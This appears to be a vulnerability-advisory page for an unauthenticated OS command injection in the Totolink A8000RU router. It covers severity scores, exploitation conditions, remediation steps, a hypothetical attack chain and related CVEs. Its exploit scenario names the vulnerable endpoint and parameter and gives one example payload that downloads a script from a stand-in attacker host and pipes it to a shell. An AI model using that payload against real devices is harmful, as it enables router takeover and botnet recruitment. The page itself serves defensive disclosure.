Skip to main content

Totolink A8000RU EUVDEUVD-2026-31708

| CVE-2026-9475 HIGH
OS Command Injection (CWE-78)
2026-05-25 VulDB GHSA-25hv-9wxj-cgm5
8.9
CVSS 4.0 · Vendor: VulDB
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Identify exposed A8000RU web interface
  2. Delivery
    Send crafted POST to /cgi-bin/cstecgi.cgi
  3. Exploit
    Inject shell metacharacters via Comment in setIpQosRules
  4. Execution
    Execute commands as router service user
  5. Persist
    Download and run secondary payload
  6. Impact
    Persist on device or join botnet

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

No special conditions required to exploit the web interface itself - the CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:N) confirms unauthenticated remote exploitation against the default-installed Web Management Interface of Totolink A8000RU firmware 7.1cu.643_b20200521 via a single HTTP request to /cgi-bin/cstecgi.cgi with a malicious Comment parameter to setIpQosRules. The practical limiting factor is network reachability: the web management interface is typically only exposed on the LAN side by default, so internet-wide exploitation requires the device to have WAN-side remote management enabled or the attacker to already be on the same network segment (e.g., via a compromised endpoint or guest Wi-Fi). Firmware must match 7.1cu.643_b20200521 as listed in EUVD-2026-31708.

Impact

Signals are largely consistent and point to a real, actionable risk: the CVSS 4.0 vector AV:N/AC:L/AT:N/PR:N/UI:N with VC:H/VI:H/VA:H scores 8.9 because exploitation requires only network reach to the web interface with no authentication, no user interaction, and yields full confidentiality, integrity, and availability impact on the device. SSVC corroborates this - Exploitation: poc, Automatable: yes, Technical Impact: total - meaning an attacker can script mass exploitation. EPSS of 0.89% (76th percentile) is moderate rather than alarming, and the vulnerability is not in CISA KEV, which together suggest exploitation is feasible and likely scripted but not yet observed at internet scale; this profile is typical of SOHO router CVEs that get absorbed into IoT botnets after disclosure. A meaningful limiting factor is that the web management interface is normally only reachable from the LAN, so 'AV:N' overstates real exposure unless the device has remote/WAN admin enabled.

Exploit ScenarioDerived

An attacker reachable to the router's web interface - for example via WAN if remote admin is enabled, or from a compromised LAN host - sends a crafted HTTP POST to /cgi-bin/cstecgi.cgi invoking setIpQosRules with a Comment value containing shell metacharacters such as ;wget http://attacker/x.sh|sh. Because a public exploit write-up is hosted on GitHub (Litengzheng/vuldb_new2), unauthenticated mass scanning and automated weaponization are realistic, particularly for botnet operators recruiting SOHO devices.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
No patch listed yet 0.9% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 08, 2026

OS command injection in the Totolink A8000RU router (firmware 7.1cu.643_b20200521) allows unauthenticated remote attackers to execute arbitrary operating system commands via the Comment parameter handled by the setIpQosRules function in /cgi-bin/cstecgi.cgi. Publicly available exploit code exists and the SSVC framework rates the technical impact as total with automatable exploitation, though no public exploit identified at time of analysis as actively exploited in the CISA KEV catalog. EPSS sits at 0.89% (76th percentile), suggesting moderate but non-trivial exploitation interest.

RemediationAI

No vendor-released patch identified at time of analysis - the references include the vendor homepage (https://www.totolink.net/) and the VulDB advisory (https://vuldb.com/vuln/365456) but no fixed firmware version. Until Totolink publishes patched firmware, restrict access to the web management interface by disabling WAN-side remote administration (trade-off: loss of remote management convenience), placing the router's management VLAN/IP behind an ACL that only permits trusted internal hosts, and blocking inbound access to /cgi-bin/cstecgi.cgi at any upstream firewall (trade-off: this breaks legitimate web administration from blocked sources). Consider replacing the device if it has reached end-of-support, since SOHO routers with public OS command injection often see follow-on IoT botnet recruitment.

Affected VersionsENISA

A8000RU 7.1cu.643_b20200521

Affected Packages

euvd a8000ru no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The Totolink A8000RU is a consumer/SMB wireless router whose web management interface is implemented via CGI handlers in /cgi-bin/cstecgi.cgi - a common monolithic CGI binary across Totolink devices that dispatches to handler functions like setIpQosRules based on request parameters. The root cause is CWE-78 (Improper Neutralization of Special Elements used in an OS Command), where the Comment argument supplied to setIpQosRules is passed into a shell or system() call without sanitization, allowing shell metacharacters (;, |, `, $()) to break out of the intended command. The CPE cpe:2.3:a:totolink:a8000ru:*:*:*:*:*:*:*:* indicates all A8000RU versions are potentially in scope, though EUVD specifically names firmware 7.1cu.643_b20200521.

Know when A8000Ru gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulDB) PRIMARY 8.9 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P

Primary rating from Vendor (VulDB) · only source for this CVE.

CVSS VectorVendor: VulDB

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

2
Severity Changed
May 26, 2026 - 20:07 NVD
CRITICAL HIGH
CVSS changed
May 26, 2026 - 20:07 NVD
9.8 (CRITICAL) 8.9 (HIGH)

DescriptionCVE.org

A vulnerability was determined in Totolink A8000RU 7.1cu.643_b20200521. This affects the function setIpQosRules of the file /cgi-bin/cstecgi.cgi of the component Web Management Interface. This manipulation of the argument Comment causes os command injection. Remote exploitation of the attack is possible. The exploit has been publicly disclosed and may be utilized.

Executive ViewAI

Why It Matters

The Totolik A8000RU router contains an unauthenticated remote code execution vulnerability (CVE-2026-9475, CVSS 8.9) allowing attackers to execute arbitrary operating system commands through the comment parameter without authentication. With publicly available exploit code in circulation and no vendor-released patch identified at time of analysis, this vulnerability creates material risk to network infrastructure and enables unauthorized access or lateral movement. Organizations using this router model must immediately inventory and isolate affected devices.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: enforce network segmentation restricting router management access to trusted internal networks only; deploy intrusion prevention system signatures for CVE-2026-9475 command injection patterns; require multi-factor authentication for all administrative access; maintain detailed audit logging of configuration changes; implement regular proof-of-concept validation testing to ensure controls effectiveness.

Threat Intelligence Overview

EPSS Score
0.9%
Top 24% exploitable
Exploit
POC
Public exploit code exists
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 0.9%
Patch available No
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
Poc
System Exposure· derived
Open
Automatable
Yes
Human Impact
High
Technical Impact
Total

Priority Score

65
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +44
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

CVE-2026-9436 HIGH POC
8.9 May 25

OS command injection in Totolink A8000RU router firmware 7.1cu.643_b20200521 allows remote unauthenticated attackers to

CVE-2026-9478 HIGH POC
8.9 May 25

OS command injection in the Totolink A8000RU router (firmware 7.1cu.643_b20200521) allows remote unauthenticated attacke

CVE-2026-9477 HIGH POC
8.9 May 25

OS command injection in the Totolink A8000RU router (firmware 7.1cu.643_b20200521) allows remote unauthenticated attacke

CVE-2026-9476 HIGH POC
8.9 May 25

OS command injection in the Totolink A8000RU router (firmware 7.1cu.643_b20200521) allows remote unauthenticated attacke

CVE-2026-9458 HIGH POC
8.9 May 25

Remote OS command injection in the Totolink A8000RU router (firmware 7.1cu.643_b20200521) allows unauthenticated attacke

CVE-2026-9457 HIGH POC
8.9 May 25

OS command injection in Totolink A8000RU router firmware 7.1cu.643_b20200521 allows remote unauthenticated attackers to

CVE-2026-9456 HIGH POC
8.9 May 25

Remote OS command injection in TOTOLINK A8000RU router firmware 7.1cu.643_b20200521 allows unauthenticated attackers to

CVE-2026-9455 HIGH POC
8.9 May 25

OS command injection in TOTOLINK A8000RU router firmware 7.1cu.643_b20200521 allows remote unauthenticated attackers to

CVE-2026-9454 HIGH POC
8.9 May 25

OS command injection in the Totolink A8000RU router (firmware 7.1cu.643_b20200521) allows remote unauthenticated attacke

CVE-2026-9435 HIGH POC
8.9 May 25

OS command injection in Totolink A8000RU router firmware 7.1cu.643_b20200521 allows remote unauthenticated attackers to

CVE-2026-9434 HIGH POC
8.9 May 25

OS command injection in the Totolink A8000RU router (firmware 7.1cu.643_b20200521) allows unauthenticated remote attacke

CVE-2026-9433 HIGH POC
8.9 May 25

OS command injection in the Totolink A8000RU router (firmware 7.1cu.643_b20200521) allows remote unauthenticated attacke

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy